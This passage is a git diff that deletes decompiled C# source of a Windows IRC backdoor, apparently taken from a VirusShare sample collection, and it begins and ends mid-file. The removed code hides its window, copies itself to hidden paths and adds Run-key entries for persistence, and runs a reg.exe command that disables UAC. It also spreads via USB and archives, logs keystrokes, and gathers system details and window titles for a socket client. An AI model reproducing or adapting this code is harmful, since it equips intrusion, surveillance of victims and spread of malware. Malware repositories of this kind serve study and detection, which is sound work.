n.My.Resources.Resources.Q; - this.z = API.DEB(ref q).Replace("NJP", Application.ExecutablePath).Replace("NJF", Conversions.ToString(Process.GetCurrentProcess().Id)); - } - - public virtual BackgroundWorker B - { - get => this._B; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - DoWorkEventHandler workEventHandler = (DoWorkEventHandler) ((a0, a1) => this.D()); - if (this._B != null) - this._B.DoWork -= workEventHandler; - this._B = value; - if (this._B == null) - return; - this._B.DoWork += workEventHandler; - } - } - - public void D() - { -label_0: - try - { - File.WriteAllText(this.u, this.z); - A.fj.StartInfo.FileName = this.u; - A.fj.Start(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - do - { - try - { - ref byte[] local1 = ref C.Plug; - string str1 = "plugin.C"; - ref string local2 = ref str1; - string str2 = "Fwd"; - ref string local3 = ref str2; - object obj = (object) new object[1] - { - (object) "Windows Script Host" - }; - ref object local4 = ref obj; - if (Operators.ConditionalCompareObjectGreater(C.inv(ref local1, ref local2, ref local3, ref local4), (object) 0, false)) - { - A.fj.Kill(); - try - { - File.Delete(this.u); - return; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - return; - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - Thread.Sleep(100); - } - while (!A.fj.WaitForExit(100)); - goto label_0; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/API.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/API.cs deleted file mode 100644 index 9d0b5bf2..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/API.cs +++ /dev/null @@ -1,281 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.API -// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.VisualBasic.MyServices; -using n.My; -using System; -using System.Collections; -using System.Diagnostics; -using System.IO; -using System.IO.Compression; -using System.Runtime.InteropServices; -using System.Text; - -namespace n -{ - [StandardModule] - internal sealed class API - { - private const uint LOCALE_SYSTEM_DEFAULT = 1024; - private const uint LOCALE_SABBREVCTRYNAME = 7; - - public static string fx(ref Array A) - { - string str1; - try - { - foreach (object obj in A) - { - string str2 = Conversions.ToString(obj); - bool flag; - if (Strings.InStr(str2, "Local Address") > 0) - flag = true; - else if (flag) - { - string str3; - if (Operators.CompareString(str2, "", false) == 0) - { - str1 = Strings.Mid(str3, 1, str3.Length - 1); - break; - } - do - { - str2 = Strings.Replace(str2, " ", " "); - } - while (Strings.InStr(str2, " ") > 0); - string[] strArray = Strings.Split(str2); - string str4; - try - { - str4 = Strings.Split(Process.GetProcessById(Conversions.ToInteger(strArray[5])).MainModule.FileName, "\\")[Strings.Split(Process.GetProcessById(Conversions.ToInteger(strArray[5])).MainModule.FileName, "\\").Length - 1] + ":" + strArray[5]; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str4 = Process.GetProcessById(Conversions.ToInteger(strArray[5])).ProcessName + ":" + strArray[5]; - ProjectData.ClearProjectError(); - } - str3 = str3 + str4 + "," + strArray[1] + "," + strArray[2] + "," + strArray[3].ToLower().Replace(MyProject.Computer.Name.ToLower(), "127.0.0.1") + "," + strArray[4] + "!"; - } - } - } - finally - { - IEnumerator enumerator; - if (enumerator is IDisposable) - (enumerator as IDisposable).Dispose(); - } - return str1; - } - - public static string Gt() - { - Process process = Process.Start(new ProcessStartInfo() - { - UseShellExecute = false, - RedirectStandardError = true, - RedirectStandardInput = true, - RedirectStandardOutput = true, - WindowStyle = ProcessWindowStyle.Hidden, - CreateNoWindow = true, - FileName = "cmd" - }); - process.StandardInput.WriteLine("netstat -o"); - process.StandardInput.WriteLine("exit"); - StreamReader streamReader = new StreamReader(process.StandardOutput.BaseStream); - Array A = (Array) Strings.Split(process.StandardOutput.ReadToEnd(), "\r\n"); - return API.fx(ref A); - } - - public static byte[] ZIP(byte[] Byt, ref bool Compress) - { - if (Compress) - { - MemoryStream memoryStream = new MemoryStream(); - GZipStream gzipStream = new GZipStream((Stream) memoryStream, CompressionMode.Compress, true); - gzipStream.Write(Byt, 0, Byt.Length); - gzipStream.Dispose(); - memoryStream.Position = 0L; - byte[] buffer = new byte[(int) memoryStream.Length + 1]; - memoryStream.Read(buffer, 0, buffer.Length); - memoryStream.Dispose(); - return buffer; - } - MemoryStream memoryStream1 = new MemoryStream(Byt); - GZipStream gzipStream1 = new GZipStream((Stream) memoryStream1, CompressionMode.Decompress); - byte[] buffer1 = new byte[4]; - memoryStream1.Position = memoryStream1.Length - 5L; - memoryStream1.Read(buffer1, 0, 4); - int int32 = BitConverter.ToInt32(buffer1, 0); - memoryStream1.Position = 0L; - byte[] array = new byte[int32 - 1 + 1]; - gzipStream1.Read(array, 0, int32); - gzipStream1.Dispose(); - memoryStream1.Dispose(); - return array; - } - - public static string FEN(byte[] data) => Convert.ToBase64String(data); - - public static byte[] FDE(string base64) => Convert.FromBase64String(base64); - - public static string ENB(ref string s) => Convert.ToBase64String(Encoding.UTF8.GetBytes(s)); - - public static string DEB(ref string s) => Encoding.UTF8.GetString(Convert.FromBase64String(s)); - - [DllImport("kernel32.dll")] - private static extern int GetLocaleInfo( - uint Locale, - uint LCType, - [Out] StringBuilder lpLCData, - int cchData); - - private static string Gcc(uint lInfo) - { - StringBuilder lpLCData = new StringBuilder(256); - int localeInfo = API.GetLocaleInfo(1024U, lInfo, lpLCData, lpLCData.Capacity); - return localeInfo > 0 ? lpLCData.ToString().Substring(0, localeInfo - 1) : string.Empty; - } - - public static string Gc() => API.Gcc(7U); - - public static string A0() - { - RegistryProxy registry = MyProject.Computer.Registry; - string str1 = B.PC + "\r\n"; - string str2; - try - { - str2 = str1 + API.Gc() + "\r\n"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str2 = str1 + "X\r\n"; - ProjectData.ClearProjectError(); - } - string str3; - try - { - str3 = str2 + MyProject.Computer.Info.OSFullName + "\r\n"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str3 = str2 + "X\r\n"; - ProjectData.ClearProjectError(); - } - string str4; - try - { - foreach (string valueName in MyProject.Computer.Registry.CurrentUser.GetValueNames()) - { - if (Operators.CompareString(valueName, "p", false) == 0) - { - str4 = str3 + "Yes\r\n"; - goto label_12; - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - str4 = str3 + "No\r\n"; -label_12: - string Expression = str4 + B.ver; - string str5; - try - { - str5 = Strings.Replace(Strings.Replace(Strings.Replace(Expression, "Microsoft", ""), "Windows", "Win").Replace("®", "").Replace("™", ""), " ", " "); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str5 = Expression + "X\r\n"; - ProjectData.ClearProjectError(); - } - return str5 + "\r\n \r\n "; - } - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr GetForegroundWindow(); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowThreadProcessId(IntPtr hwnd, ref int lpdwProcessID); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(IntPtr hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string WinTitle, int MaxLength); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextLengthA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowTextLength(long hwnd); - - public static string A1(ref bool p) - { - string str1; - try - { - IntPtr foregroundWindow = API.GetForegroundWindow(); - if (foregroundWindow == IntPtr.Zero) - { - str1 = ""; - } - else - { - int windowTextLength = API.GetWindowTextLength((long) foregroundWindow); - string str2 = Strings.StrDup(windowTextLength + 1, "*"); - API.GetWindowText(foregroundWindow, ref str2, windowTextLength + 1); - int lpdwProcessID; - API.GetWindowThreadProcessId(foregroundWindow, ref lpdwProcessID); - if (lpdwProcessID == 0) - { - str1 = API.ENB(ref str2); - } - else - { - try - { - string mainWindowTitle = Process.GetProcessById(lpdwProcessID).MainWindowTitle; - str1 = API.ENB(ref mainWindowTitle); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = API.ENB(ref str2); - ProjectData.ClearProjectError(); - } - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = ""; - ProjectData.ClearProjectError(); - } - return str1; - } - - public class wd - { - public const int HIDE = 0; - public const int Normal = 1; - public const int Minimized = 2; - public const int Maximized = 3; - public const int Show = 5; - public const int RESTORE = 9; - public int hWnd; - - public static void G(ref int hwd, ref int A) => API.wd.ShowWindow(hwd, A); - - [DllImport("User32")] - public static extern int ShowWindow(int hwnd, int nCmdShow); - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/AssemblyInfo.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/AssemblyInfo.cs deleted file mode 100644 index d6825f03..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("")] -[assembly: AssemblyCopyright("")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyTitle("")] -[assembly: AssemblyFileVersion("0.0.0.0")] -[assembly: Guid("22e4b050-4231-4e7e-b7f4-3aea55166ef2")] -[assembly: ComVisible(false)] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/B.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/B.cs deleted file mode 100644 index cabb0208..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/B.cs +++ /dev/null @@ -1,1309 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.B -// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.VisualBasic.Devices; -using Microsoft.Win32; -using n.My; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Net; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace n -{ - [DesignerGenerated] - public class B : Form - { - private IContainer components; - [AccessedThroughProperty("fs")] - private FileSystemWatcher _fs; - public static bool Fw = false; - public static bool FT = false; - public static bool netsh; - public static bool isFT; - public static bool KON; - public static string Vname = "VmljdGlt"; - public static RegistryKey Nkey; - public static bool DS; - public static string PC = "X"; - public static string ver = "1.4.8"; - public static string exename; - private string LA; - public static bool ISEND; - public A BW; - public static bool Busy; - public static bool Rec; - public static string XRec = ""; - public static int ms; - [AccessedThroughProperty("WC")] - private SocketsClient _WC; - [AccessedThroughProperty("wL")] - private System.Windows.Forms.Timer _wL; - [AccessedThroughProperty("k")] - private System.Windows.Forms.Timer _k; - public static string no = "127.0.0.1:7"; - public static string Ai; - public static string SU = "*"; - public static bool UU; - public static string Uo = "*"; - public static string Ui = "*"; - public static string spread = "*"; - public static string mU = "*"; - public static string FR; - public static string Cht; - private int c2; - private int cc; - private int c0; - public static Mutex jMutex; - public static chat Chat; - private string IP; - private static string[] Block = new string[1000000]; - private static int inx; - private static int err; - - public B() - { - this.FormClosing += new FormClosingEventHandler(this.B_FormClosing); - this.Load += new EventHandler(this.B_Load); - this.BW = new A(); - this.WC = new SocketsClient(); - this.wL = new System.Windows.Forms.Timer(); - this.k = new System.Windows.Forms.Timer(); - this.InitializeComponent(); - } - - [STAThread] - public static void Main() => Application.Run((Form) MyProject.Forms.B); - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.components == null) - return; - this.components.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.fs = new FileSystemWatcher(); - this.fs.BeginInit(); - this.SuspendLayout(); - this.fs.IncludeSubdirectories = true; - this.fs.SynchronizingObject = (ISynchronizeInvoke) this; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.ClientSize = new Size(10, 10); - this.FormBorderStyle = FormBorderStyle.None; - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = nameof (B); - this.Opacity = 0.0; - this.ShowIcon = false; - this.ShowInTaskbar = false; - this.WindowState = FormWindowState.Minimized; - this.fs.EndInit(); - this.ResumeLayout(false); - } - - internal virtual FileSystemWatcher fs - { - get => this._fs; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - FileSystemEventHandler systemEventHandler = new FileSystemEventHandler(this.fs_Created); - if (this._fs != null) - this._fs.Created -= systemEventHandler; - this._fs = value; - if (this._fs == null) - return; - this._fs.Created += systemEventHandler; - } - } - - public virtual SocketsClient WC - { - get => this._WC; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - SocketsClient.onDataArrivalEventHandler arrivalEventHandler = new SocketsClient.onDataArrivalEventHandler(this.W3); - SocketsClient.onDisconnectEventHandler disconnectEventHandler = new SocketsClient.onDisconnectEventHandler(this.W2); - SocketsClient.onErrorEventHandler errorEventHandler = new SocketsClient.onErrorEventHandler(this.W1); - SocketsClient.onConnectEventHandler connectEventHandler = new SocketsClient.onConnectEventHandler(this.W0); - if (this._WC != null) - { - this._WC.onDataArrival -= arrivalEventHandler; - this._WC.onDisconnect -= disconnectEventHandler; - this._WC.onError -= errorEventHandler; - this._WC.onConnect -= connectEventHandler; - } - this._WC = value; - if (this._WC == null) - return; - this._WC.onDataArrival += arrivalEventHandler; - this._WC.onDisconnect += disconnectEventHandler; - this._WC.onError += errorEventHandler; - this._WC.onConnect += connectEventHandler; - } - } - - public virtual System.Windows.Forms.Timer wL - { - get => this._wL; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = (EventHandler) ((a0, a1) => this.wL_()); - if (this._wL != null) - this._wL.Tick -= eventHandler; - this._wL = value; - if (this._wL == null) - return; - this._wL.Tick += eventHandler; - } - } - - public virtual System.Windows.Forms.Timer k - { - get => this._k; - [MethodImpl(MethodImplOptions.Synchronized)] set => this._k = value; - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetAsyncKeyState(long vKey); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetProcessWorkingSetSize( - IntPtr process, - int minimumWorkingSetSize, - int maximumWorkingSetSize); - - public static void E() - { - try - { - while (true) - { - do - { - Thread.Sleep(10000); - GC.Collect(); - GC.WaitForPendingFinalizers(); - } - while (Environment.OSVersion.Platform != PlatformID.Win32NT); - B.SetProcessWorkingSetSize(Process.GetCurrentProcess().Handle, -1, -1); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public void CL() - { - B.KON = false; - B.Busy = false; - try - { - chat.clos = true; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void B_FormClosing(object sender, FormClosingEventArgs e) - { - if (e.CloseReason == CloseReason.WindowsShutDown) - ProjectData.EndApp(); - else - e.Cancel = true; - } - - public void R() - { - MemoryStream memoryStream1 = new MemoryStream(); - Array Instance1 = (Array) System.IO.File.ReadAllBytes(Application.ExecutablePath); - int num1 = Instance1.Length - 400; - int num2 = Instance1.Length - 1; - for (int index = num1; index <= num2; ++index) - { - int num3; - if (Operators.CompareString(Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) index - }, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) (index - 1) - }, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) (index - 2) - }, (string[]) null)))), "***", false) == 0) - num3 = index + 1; - int num4; - if (Operators.CompareString(Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) index - }, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) (index - 1) - }, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) (index - 2) - }, (string[]) null)))), "^^^", false) == 0) - num4 = index - 3; - if (num3 > 0 & num4 == 0) - memoryStream1.WriteByte(Conversions.ToByte(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) index - }, (string[]) null))); - } - byte[] array1 = memoryStream1.ToArray(); - MemoryStream memoryStream2 = new MemoryStream(); - memoryStream2.Write(array1, 1, array1.Length - 3); - Encoding encoding = Encoding.Default; - byte[] array2 = memoryStream2.ToArray(); - bool flag = false; - ref bool local = ref flag; - byte[] bytes = API.ZIP(array2, ref local); - Array Instance2 = (Array) Strings.Split(encoding.GetString(bytes), IND.Y); - B.no = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 0 - }, (string[]) null)); - B.SU = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 1 - }, (string[]) null)); - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 2 - }, (string[]) null), (object) "*", false)) - { - B.Ai = "*"; - } - else - { - B.Ai = Interaction.Environ(Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 2 - }, (string[]) null)), ":")[1]) + "\\" + Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 2 - }, (string[]) null)), ":")[0]; - if (Operators.CompareString(B.Ai, Application.ExecutablePath, false) != 0) - { - try - { - if (System.IO.File.Exists(B.Ai)) - System.IO.File.Delete(B.Ai); - System.IO.File.Copy(Application.ExecutablePath, B.Ai, true); - try - { - System.IO.File.SetAttributes(B.Ai, FileAttributes.Hidden); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - if (Operators.CompareString(Conversions.ToString(Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 2 - }, (string[]) null)), ":")[2][0]), "T", false) == 0) - { - string ai = B.Ai; - string executablePath = Application.ExecutablePath; - string arguments = "Kill@" + API.ENB(ref executablePath); - Process.Start(ai, arguments); - } - else - Process.Start(B.Ai); - ProjectData.EndApp(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.EndApp(); - ProjectData.ClearProjectError(); - } - } - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 3 - }, (string[]) null), (object) "^", false)) - B.UU = true; - if (Strings.InStr(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 4 - }, (string[]) null)), "*") == 0) - { - B.Uo = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 4 - }, (string[]) null)); - new Thread((ParameterizedThreadStart) (a0 => USB.USb(Conversions.ToString(a0)))).Start((object) B.Uo); - B.spread = "(" + B.Uo + ")USB,"; - } - B.mU = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 5 - }, (string[]) null)); - try - { - Mutex.OpenExisting(B.mU); - ProjectData.EndApp(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - B.jMutex = new Mutex(true, B.mU); - if (!Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 6 - }, (string[]) null), (object) "*", false)) - { - B.spread += "Rar,Zip"; - B.Ui = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 6 - }, (string[]) null)); - this.fs.Path = Interaction.Environ("homedrive") + "\\"; - this.fs.EnableRaisingEvents = true; - } - } - B.Fw = Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 9 - }, (string[]) null), (object) "^", false); - Registry.CurrentUser.CreateSubKey(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 8 - }, (string[]) null))); - B.Nkey = Registry.CurrentUser.OpenSubKey(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 8 - }, (string[]) null)), true); - B.Vname = Conversions.ToString(B.Nkey.GetValue("vname", RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance2, new object[1] - { - (object) 7 - }, (string[]) null)))); - } - - private void B_Load(object sender, EventArgs e) - { - try - { - B.exename = Process.GetCurrentProcess().ProcessName; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - B.exename = "!"; - ProjectData.ClearProjectError(); - } - try - { - Control.CheckForIllegalCrossThreadCalls = false; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - byte[] plugin = n.My.Resources.Resources.plugin; - bool flag = false; - ref bool local = ref flag; - C.Plug = API.ZIP(plugin, ref local); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - B.PC = Environment.MachineName + "\\" + Environment.UserName; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.Hide(); - this.Visible = false; - B.Rec = false; - try - { - string Expression = Interaction.Command(); - if (Expression.Length > 0) - { - Array Instance1 = (Array) Strings.Split(Expression, "@"); - object Left = NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 0 - }, (string[]) null); - if (Operators.ConditionalCompareObjectEqual(Left, (object) "!0", false)) - { - Thread.Sleep(100); - try - { - Process.GetProcessById(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null))).Kill(); - foreach (Process process in Process.GetProcessesByName("wscript")) - { - try - { - process.Kill(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - System.IO.File.Delete(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - MyProject.Computer.Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null))); - MyProject.Computer.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null))); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - else if (Operators.ConditionalCompareObjectEqual(Left, (object) "..", false)) - Thread.Sleep(2000); - else if (Operators.ConditionalCompareObjectEqual(Left, (object) "Kill", false)) - { - try - { - Array Instance2 = Instance1; - object[] objArray1 = new object[1]; - object[] objArray2 = objArray1; - int num = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num; - objArray2[0] = (object) local; - object[] Arguments = objArray1; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, Arguments, (string[]) null)); - string path = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num, - (object) s - }, (string[]) null, true, false); - System.IO.File.Delete(path); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - if (Operators.ConditionalCompareObjectEqual(MyProject.Computer.Registry.ClassesRoot.GetValue("!", (object) null), (object) null, false)) - { - B.FR = Conversions.ToString(MyProject.Computer.Clock.LocalTime) + " >> " + Application.ExecutablePath; - MyProject.Computer.Registry.ClassesRoot.SetValue("!", (object) API.ENB(ref B.FR)); - } - else - { - string s = Conversions.ToString(MyProject.Computer.Registry.ClassesRoot.GetValue("!", (object) "*")); - B.FR = API.DEB(ref s); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - B.FR = "*"; - ProjectData.ClearProjectError(); - } - try - { - this.R(); - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - B.SU = "*"; - B.mU = "*"; - try - { - Registry.CurrentUser.CreateSubKey("nKey"); - B.Nkey = Registry.CurrentUser.OpenSubKey("nKey", true); - B.Vname = Conversions.ToString(B.Nkey.GetValue("vname", (object) B.Vname)); - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - ProjectData.ClearProjectError(); - } - try - { - if (Operators.ConditionalCompareObjectEqual(B.Nkey.GetValue("FT", (object) ""), (object) "", false)) - { - B.FT = true; - B.Nkey.SetValue("FT", (object) "&"); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.cc = 4; - this.wL.Interval = 1000; - this.wL.Enabled = true; - if (B.UU) - this.BW.B.RunWorkerAsync(); - new Thread(new ThreadStart(B.E)).Start(); - try - { - Interaction.Shell("reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f", AppWinStyle.Hide); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - new Thread(new ThreadStart(B.Key.Start)).Start(); - this.con(); - } - - public void wL_() - { - this.wL.Enabled = false; - try - { - ++this.cc; - ++this.c0; - if (this.c2 < 5) - ++this.c2; - if (this.c2 == 5) - { - try - { - foreach (Process process1 in Process.GetProcessesByName(Process.GetCurrentProcess().ProcessName)) - { - try - { - if (FileSystem.FileLen(process1.MainModule.FileName) == FileSystem.FileLen(Process.GetCurrentProcess().MainModule.FileName)) - { - if (process1.Id != Process.GetCurrentProcess().Id) - { - try - { - process1.Kill(); - foreach (Process process2 in Process.GetProcessesByName("wscript")) - { - try - { - process2.Kill(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - try - { - if (B.Cht.Length > 0) - { - B.Chat = new chat(); - chat.clos = false; - B.Chat.nick = B.Cht; - B.Chat.Show(); - B.Cht = ""; - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - B.Cht = ""; - ProjectData.ClearProjectError(); - } - if (Operators.CompareString(B.SU, "*", false) != 0) - { - if (this.cc > 4) - { - try - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); - if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue(B.SU), (object) null, false)) - registryKey.SetValue(B.SU, (object) (Application.ExecutablePath + " @..")); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); - if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue(B.SU), (object) null, false)) - registryKey.SetValue(B.SU, (object) Application.ExecutablePath); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); 